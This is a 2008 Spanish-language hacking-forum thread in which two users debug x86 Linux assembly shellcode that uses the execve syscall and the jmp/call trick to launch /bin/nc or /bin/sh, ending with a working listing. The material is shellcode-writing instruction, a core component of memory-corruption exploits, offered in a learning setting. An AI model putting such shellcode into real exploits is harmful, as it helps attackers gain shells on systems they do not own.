elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 05:55  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [Asm]Dudas con execve syscall
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Asm]Dudas con execve syscall  (Leído 2,086 veces)
NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
[Asm]Dudas con execve syscall
« en: 19 Julio 2008, 18:40 »

Muy buenas!

Tengo una pequeña duda, supongo que conceptual, con el siguiente código:

Código
BITS 32
xor eax, eax
xor ecx, ecx
cdq
jmp short texto
code:
pop ebx
mov al, 11
int 0x80
texto:
call code
db '/bin/nc'
 

Se trata de usar la syscall execve y ejecutar el netcat que ya está instalado en la máquina. El resultado que me da ese código es el siguiente:
Código:
TheWhiteRabbit:/home/follow/Shellcoding/Codigos# ./s-proc -e Hello
Calling code ...
no destination

Sin embargo cuando ejecuto el mismo código con /bin/cp me devuelve lo correcto:
Código:
TheWhiteRabbit:/home/follow/Shellcoding/Codigos# ./s-proc -e Hello
Calling code ...
: missing file operand
Try `(null) --help' for more information.
La única diferencia a ejecutar un simple cp es que donde pone "null", pone "cp". Tampoco entiendo este cambio...

Además, y por último, cuando ejecuto /bin/sh :
Código:
TheWhiteRabbit:/home/follow/Shellcoding/Codigos# ./s-proc -e Hello
Calling code ...
TheWhiteRabbit:/home/follow/Shellcoding/Codigos# clear
TERM environment variable not set.

No se si ejecuta como debe... ya que después cuando hago un clear... ya véis lo que me devuelve... no lo entiendo  :-[

A ver si alguien puede echarme una mano! Por cierto mi so es Debian 4.0 stable! Además, ejecuto el código con la utilidad llamada s-proc como podéis ver...

P.D.: Este mensaje ya lo he posteado en el apartado de programación general, pero ahí nadie me ha podido dar una respuesta! Y igual que yo, seguroq ue hay gente que no pasa por todas las secciones de este foro, así que lo posteo aquí por si hay alguien que no se pasa por ahí y puede echarme una mano. Además, se trata de ejecutar una shellcode ^^
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #1 en: 21 Julio 2008, 04:16 »

Intenta haciendo
Código
push ebx
mov ecx, esp
antes del
Código
int 0x80
y cambia el
Código
xor ecx,ecx
por
Código
xor edx, edx

Saludos!!

**edit
http://asm.sourceforge.net/articles/startup.html
« Última modificación: 21 Julio 2008, 04:57 por sirdarckcat » En línea

NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #2 en: 21 Julio 2008, 16:58 »

Gracias a dios que has contestado, creía que ya nadie tendría piedad de mi  :P

El caso, me he leído todo el texto y la verdad es que me he quedado un poco parado. No lo acabo de entender. He visto que dependiendo de a versión del kernel, antes de la llamada a execve() algunos registros están a 0 y otros no. Y además como está la pila antes de su ejecución.

En cuanto a las modificaciones que me comentas, ya me imagino por que las dices. El:
Código
push ebx
mov ecx, esp
Con el push ebx, metes la dirección que apunta a /bin/nc en la pila, y con el mov ecx, esp pones en ecx la dirección al último dato pusheado (o sea, pones la dirección donde se encuentra la dirección que apunta a /bin/nc). Y eso lo haces porqué como segundo parámetro del execve() le quieres pasar /bin/nc, o sea, execve("/bin/nc", "/bin/nc",0). Yo en cambio, lo que hago es un execve("/bin/nc",0,0).

No es eso lo que quieres hacer? Sin embargo, o no lo entiendo o no es correcto. No sería mejor poner el mov ecx, ebx justo después del pop ebx ???

El xor edx, edx que comentas, lo hago con la instrucción cdq.

El caso es que he probado tu código tal y como has dicho y me ha dado un buen core dumped  ;D y si hago lo del mov ecx, ebx se queda "pensando" sin hacer nada.

Gracias de nuevo sirdarckcat, por cierto, eres tu el que está en el rànking de blind security? (sdc). Si es así, "felicidades"  :P
En línea
NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #3 en: 21 Julio 2008, 17:15 »

De tu código lo que causa el core dumped es el push ebx.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #4 en: 22 Julio 2008, 00:04 »

Si pues la idea es esa.. pero tienes que mandar un arreglo como segundo argumento, osea que sea
("/bin/nc",{"/bin/nc"},0)

Y pues si soy yo el de blindsec, pero ya me cayó mal jajaja ese reto de estegano era una mentada..
En línea

NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #5 en: 22 Julio 2008, 00:32 »

No entiendo muy bien para qué sirven los { } o qué significan. Es la dirección a la cadena? Además tampoco entiendo porqué h***** me da la violación de segmento al hacerle un push de ebx.

Unos cuantos de wadalbertia estamos jugando en el torneo, y los que van más avanzados ya dicen que la prueba d'esteganografía es bastante jodida!
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #6 en: 22 Julio 2008, 00:34 »

si los {} eran un array xD
aver sintaxis de javascript:

sys_execve("/bin/nc",["/bin/nc"],0x00);
En línea

NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #7 en: 22 Julio 2008, 02:01 »

Al final he tenido que mirar un ejemplo para conseguir hacer la shellcode con el" jmp/call trick", qué rabia... El código final es este:

Código
BITS 32                 ;Indicamos a nasm (el compilador) que genere un código para una arquitectura de 32 bits
jmp short texto         ;Aquí empieza el jmp/call trick. Salta a texto. Ahorramos un byte con el 'short'.
code:
pop ebx                 ;Ponemos en ebx la direccion donde se encuentra '/bin/sh'. Será el primer argumento de la syscall.
xor eax, eax            ;Ponemos a 0 el registro eax
cdq                     ;Ponemos a 0 el registro edx gracias a que eax es 0. Nos ahorramos un byte.
mov byte [ebx+7], al    ;Ponemos un null-byte al final de la cadena /bin/sh.
mov [ebx+8], ebx
mov byte [ebx+12], al
lea ecx, [ebx+8]
mov al, 11              ;En eax ponemos el valor de la execve syscall. Trabajando con al nos ahorramos un byte.
int 0x80                ;Ejecutamos la syscall.
texto:
call code               ;Llamamos a code. En la pila se almacena la dirección donde se encuentra '/bin/sh'.
db '/bin/nc'
 

Sin embargo hay cosas que no entiendo, y te estaría muy agradecido si pudiéras resolver mis dudas:

1) Cuando hacemos el pop ebx, en ebx tenemos la dirección donde está almacenada la cadena, no la cadena en cuestión. Con la siguiente instrucción mov byte [ebx+7], al se supone que ponemos un byte nulo al final de la cadena /bin/sh, pero lo que hace literalmente esa instrucción es poner en la dirección donde se encuentra ebx más 7 bytes, un byte nulo, no? Sin embargo, la dirección donde se encuentra ebx no es la dirección donde se encuentra la cadena, por tanto no entiendo como se pone el null-byte al final de la cadena...

2) Cuando cargamos el puntero a la cadena /bin/sh en ecx con: lea ecx, [ebx+8], no entiendo porqué no podemos hacer un lea ecx, [ebx] y saltarnos el:
Código
mov [ebx+8], ebx
mov byte [ebx+12], al
 
Este código lo único que hace es poner en la pila la dirección hacia /bin/sh y un null byte... Pero eso ya lo tenemos en la pila... Porqué volverlo meter si ya lo tienes puesto?

Evidentemente, con los cambios que comento la shellcode no funciona...

Gracias de antemano
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [Asm]Dudas con execve syscall
« Respuesta #8 en: 22 Julio 2008, 05:07 »

1) No, si se pone un byte nulo despues de /bin/sh, mov byte [ebx], al mueve el byte nulo a "/", mov byte [ebx+1], al lo mueve a "b", mov byte [ebx+2], al a "i", etc..
2) Eso es por lo que ya te dije, que es un arreglo, y un arreglo apunta a N cantidad de direcciones que tienen las direcciones de M datos, en este caso tiene 1 direccion (ebx) que apunta a 1 dato (/bin/sh).

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines